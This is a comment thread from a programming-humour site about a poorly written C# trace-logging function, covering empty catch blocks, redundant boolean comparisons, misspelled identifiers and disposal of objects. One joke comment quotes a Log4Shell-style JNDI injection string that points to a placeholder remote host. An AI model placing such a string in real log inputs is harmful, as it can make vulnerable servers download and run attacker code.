• dpm (unregistered)

    we include a if (blnWrite == true), which is one of my pet peeves

    Mine is the "random number of parameters declared per line", but yours has merit as well.

  • NotAThingThatHappens (unregistered)

    How about an empty 'catch block', with the boolean result?

    The code will never throw exceptions, so the code never knows when the 'audit' has failed. Unless you check the method result for each call:

    If(!TraceListen(....)) throw new TraceLogFailedException("don't know why, though.");

    I usually make methods like this that are likely splattered around the code a 'void' and just let them throw when something fails. If it is important enough to log, it's important enough that the log should succeed.

  • (nodebb)

    regarding explicit comparison to true.... identical in most cases, but one can write code where there are differences.....

  • (author) in reply to dpm

    I didn't call that out because I added those linebreaks just to make the code fit the window, because it was all on one line originally.

  • Saintski (unregistered)

    Is "incosistent spellings" a joke?

  • Jk (unregistered) in reply to Saintski

    :-)

  • Infinite Poop (unregistered) in reply to Saintski

    I had the same question re: "...this snipped of C# code" in the introductory sentence.

  • dpm (unregistered) in reply to Remy Porter

    I added those linebreaks just to make the code fit the window

    Ah. I assumed they came that way, since other long lines were not broken.

  • John (unregistered)

    Hey, at least it doesn't download and run arbitrary code if your log entry contains ${jndi:ldap://ip/exploit} so it can't be that bad right?

  • (nodebb)

    On the question of spelling, don't forget TraceListner, on the very first line

  • Brian (unregistered)
    It doesn't matter how you spell your symbols, so long as you can spell them consistently.

    It matters to me, in the "no brown M&Ms" sense. If a developer can't even be bothered to get a basic thing like spelling right, especially with spell-checking built into IDEs these days, then it's a pretty good bet that the same carelessness carries over into more consequential aspects of the code.

  • Daniel Orner (github)

    Talking about spelling but no comment on "TraceListner"?

  • (nodebb)

    It doesn't matter how you spell your symbols, so long as you can spell them consistently.

    If someone spells "address" as P-O-R-T or "port" as A-D-D-R-E-S-S, that matters a lot.

  • (nodebb)
    if (!(objError == null))
    

    That negation of a simple equality check just raises my hackles.

  • Just another Embedded Designer (unregistered) in reply to NotAThingThatHappens

    The try with empty catch reminds me of the constructs seen

    if( true)
    { ... } else {} /* empty else because we mut have one */

  • MaxiTB (unregistered)

    "Finally, for a bonus, we have incosistent spellings- ProjectInstance and PrjectAudit. It doesn't matter how you spell your symbols, so long as you can spell them consistently."

    This is technically not correct. C# has a naming style guide since .NET 1.0; method arguments are always camelCase. I can't even remember when there was a version of Visual Studio that doesn't mark something like this for refactoring; not to mention any style checker tool.

  • cellocgw (unregistered)

    MaxiTB: capitalization is not spelling. Look more carefully at those two variable names

  • Loren Pechtel (unregistered)

    I'm not going to object to an empty catch block here.

    You don't want to crash the main program because the logging failed, nor is there anything the main program can reasonably do about a logging failure. Thus swallowing the exception is the sensible course of action.

  • Pecked Hen (unregistered)

    Looks like this function nearly doesn't need to exist, with the exception of the memory leak it causes (or is that not true in C#?).

  • MaxiTB (unregistered) in reply to cellocgw

    Ha, that's true. As a C# developer the capitalization hurts more honestly ;-)

  • MaxiTB (unregistered) in reply to Pecked Hen

    In C# there is only one way how you can get memory leaks (beyond purposely keeping a reference around, but no language can free memory that way), that is by not disposing an IDisposable object. Those objects contain unmanaged system resources which in turn also need memory (however if you keep an TCP/IP connection open for example, you may run into other issues faster). If you implement the disposable pattern correctly, the garbage collector will clean it up eventually, but that's another if.

    In this case, there is no case where this can happen, because you dispose disposable objects in the scope where they are created. Hence you can for example write in a method:

    using var stream = new MemoryStream(69);

    And it will get disposed when the method exists (or sooner, depending where stream is used), no matter if there is an exception. The using basically generates an exception scope around the rest of the code and calls stream.Dispose() in it's finalizer. Of course it possible to scope yourself to free it up on a more defined point in your code or do the exception scoping by hand.

    So that's the only way to get some sort of memory leak unintentionally, but this is not the case in this (awful) code.

    https://docs.microsoft.com/en-us/dotnet/api/system.idisposable?view=net-6.0

  • Pecked Hen (unregistered) in reply to Pecked Hen

    Well, I guess the garbage collector manages that 'new'-ly created variable. There don't seem to be ways to handle a generic variable argument list or write macros in C#, otherwise this function (TraceListner) could easily be transformed into a simple pass-thru to PrjectAudit with a try-catch around it, which is all it has become at this point. If you're not dealing with the raised error anyway, just have it return false. If there are times when you want to call save, you could add a "blnOneShot" parameter that defaults to false, but calls .save() if true.

  • moreON (unregistered)

    If we're going to put one useless equality comparison with true on the end of the expression, why not another? ... or another. I'm against this practice also.

  • Nick (unregistered)

    "Finally, for a bonus, we have incosistent spellings- ProjectInstance and PrjectAudit. It doesn't matter how you spell your symbols, so long as you can spell them consistently."

    The odds of someone naming something “ProjectInstance” are relatively low (about the same as “MyObject”, I’d say). The odds of them also naming something “PrjectAudit” make the likelihood of these being the original object names VERY low.

    I suspect (with no proof) that this is simply a typo as part of the anonymisation effort by the submitter - the classes were probably originally called “MyCompanyNameSuperSecretProjectNameInstance” and “MyCompanyNameSuperSecretProjectNameAudit”

  • Aled (unregistered) in reply to Ross_Presser

    That seems a very good nme.

  • (nodebb)

    What is this strange word "consistently" that you insist upon? Well, all I can say is, "Dream on..."

  • (nodebb) in reply to Loren Pechtel

    You do not want to swallow it completely either though. You need to at least attempt to inform someone that the tracing stopped working. Send a message (once! after a few failures) in one way or another, log elsewhere, ...

  • Craig (unregistered)
    Comment held for moderation.
  • LoganDark (unregistered) in reply to Brian

    I don't think spell-checking is built into any IDEs other than JetBrains IntelliJ IDEA, for Java. Other programming languages don't get spell checking.

Leave a comment on “Audit For Truth”

Log In or post as a guest

Replying to comment #:

« Return to Article